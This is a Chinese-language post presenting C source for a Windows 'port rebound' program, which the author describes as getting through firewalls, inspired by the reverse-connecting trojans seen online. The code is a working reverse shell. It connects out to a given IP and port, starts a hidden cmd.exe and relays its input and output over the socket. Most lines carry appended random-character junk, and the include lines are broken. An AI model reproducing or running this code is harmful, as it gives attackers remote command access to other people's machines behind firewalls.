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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ODbEL/  
v|WTm#  
/* ============================== <yw6Om:n<  
Rebound port in Windows NT xE2sb*  
By wind,2006/7 &RzkM4"  
===============================*/ WB7pdSZ  
#include xn fMx$fD  
#include u?J!3ZEtb  
nkp,  
#pragma comment(lib,"wsock32.lib") iE~][_%U  
jc4#k+sb  
void OutputShell();  MYD`P2F  
SOCKET sClient; wc%Wy|d  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h2b,(  
zXop@"(e  
void main(int argc,char **argv) biBo?k;4  
{ 8R) 0|v&;  
WSADATA stWsaData; _DlX F  
int nRet; _:B/XZ  
SOCKADDR_IN stSaiClient,stSaiServer; hLqRF4>L  
co93}A,k  
if(argc != 3) &tAhRMa  
{ <K(qv^C  
printf("Useage:\n\rRebound DestIP DestPort\n"); t+ ,'  
return; Qcy /)4Hfg  
} LkUYh3  
"}ms|  
WSAStartup(MAKEWORD(2,2),&stWsaData); rF3QmR?l  
Z4^O`yS9+  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m ll-cp  
b.LMJ'1  
stSaiClient.sin_family = AF_INET; &zxqVI$4  
stSaiClient.sin_port = htons(0); / bxu{|.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &y7<h>z  
e;*GbXd|  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,v#F6xv8  
{ X\ -IAv  
printf("Bind Socket Failed!\n"); [{i"Au]  
return; 1&,d,<  
} u\jQe@j '  
iOFp9i=j  
stSaiServer.sin_family = AF_INET; AqdQiZ^9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); K-a~Kr  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <Z nVWER  
L[|($vQ"  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /#lqv)s'  
{ !iys\ AV  
printf("Connect Error!"); r@O5{V  
return; m#i5}uHHg  
} 8NE+G.:G  
OutputShell(); >{v,H Oxl  
} wX!q dII)  
Z~?1xJ&  
void OutputShell() ]#7{ x  
{ QGR}`n2D  
char szBuff[1024]; THVF(M4v  
SECURITY_ATTRIBUTES stSecurityAttributes; ou{}\^DgQ  
OSVERSIONINFO stOsversionInfo; \6{w#HsP8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :aIS>6  
STARTUPINFO stStartupInfo; >l0y ss)I  
char *szShell; ;ewqGDe'3  
PROCESS_INFORMATION stProcessInformation; I)JqaM  
unsigned long lBytesRead; dHzQAqb8J  
pZ@)9c  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tFi'RRZ  
v_ U$jjO1  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >-%}'iz+  
stSecurityAttributes.lpSecurityDescriptor = 0; @L9C_a  
stSecurityAttributes.bInheritHandle = TRUE; pL& Zcpx  
xy^t_];X  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); mm l`,t8  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); DL t"cAW  
FQ3{~05T  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |[ )e5Xhd  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (uxe<'Co|  
stStartupInfo.wShowWindow = SW_HIDE; $ouw *|<  
stStartupInfo.hStdInput = hReadPipe; |= o)|z2  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L&I8lG  
I*SrK Zb  
GetVersionEx(&stOsversionInfo); :rBPgrt  
U5iyvU=UG  
switch(stOsversionInfo.dwPlatformId) j_ \?ampF  
{ MR?5p8S#g  
case 1: 5Al1u|;HB  
szShell = "command.com"; N4xC Zb  
break; 1@i|[dq  
default: `<"@&N^d  
szShell = "cmd.exe"; YUGEGXw  
break; (/^s?`1{N?  
} ?f8)_t}^\  
=^9I)JW  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  v<_wf  
&P0jRT3e#Y  
send(sClient,szMsg,77,0); v>[U*E  
while(1) w YEkWB^  
{ &c|3v!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4X1!t   
if(lBytesRead) vOIzfwYG9  
{ - K@mjN  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); LwI A4$d  
send(sClient,szBuff,lBytesRead,0); O-=~Bn _  
} C)a;zU;9  
else cm'`u&S  
{ 1Mtm?3Pt  
lBytesRead=recv(sClient,szBuff,1024,0); AW R   
if(lBytesRead<=0) break; TdCC,/c 3  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); B1U<m=Y  
} sU=7)*$  
} ZHN@&Gg6)  
Z w`9B  
return; \se /2l  
}
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